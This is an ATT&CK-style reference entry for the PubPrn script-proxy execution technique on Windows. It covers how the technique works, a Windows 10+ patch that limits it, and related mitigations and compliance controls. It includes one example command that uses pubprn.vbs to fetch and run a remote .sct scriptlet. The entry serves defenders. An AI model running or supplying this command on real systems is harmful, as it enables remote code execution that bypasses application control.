MITRE ATT&CKsub-technique

T1216.001 PubPrn

Published 2020-02-03 Modified 2026-05-12 Official page ↗
Domain
enterprise
Tactics
Stealth
Platforms
Windows
Version
3.0
Created
2020-02-03

Description

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com. Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).

Related

Subtechnique of · MITRE ATT&CK (1)

  • T1216 System Script Proxy Execution technique

Tactic · MITRE ATT&CK (1)

Referenced by MITRE ATT&CK · mitigates (2)

  • M1038 Execution Prevention mitigation
  • M1040 Behavior Prevention on Endpoint mitigation

Referenced by MITRE ATT&CK · uses (1)

Referenced by Compliance · mitigates (7)

  • CIS-13.7 Deploy a Host-Based Intrusion Prevention Solution CIS Safeguard v8.1
  • NIST-CM-2 Baseline Configuration NIST 800-53 control
  • NIST-CM-6 Configuration Settings NIST 800-53 control
  • NIST-CM-7 Least Functionality NIST 800-53 control
  • NIST-SI-10 Information Input Validation NIST 800-53 control
  • NIST-SI-4 System Monitoring NIST 800-53 control
  • NIST-SI-7 Software, Firmware, and Information Integrity NIST 800-53 control

References